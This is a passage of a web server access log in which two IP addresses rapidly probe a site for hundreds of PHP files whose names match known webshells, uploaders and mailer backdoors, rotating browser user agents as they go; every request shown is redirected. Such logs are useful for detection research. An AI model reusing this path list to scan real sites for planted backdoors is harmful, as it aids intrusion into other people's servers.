AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:17 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:18 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:19 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:19 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:20 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:21 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:22 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:25:22 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:23 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:24 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:24 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 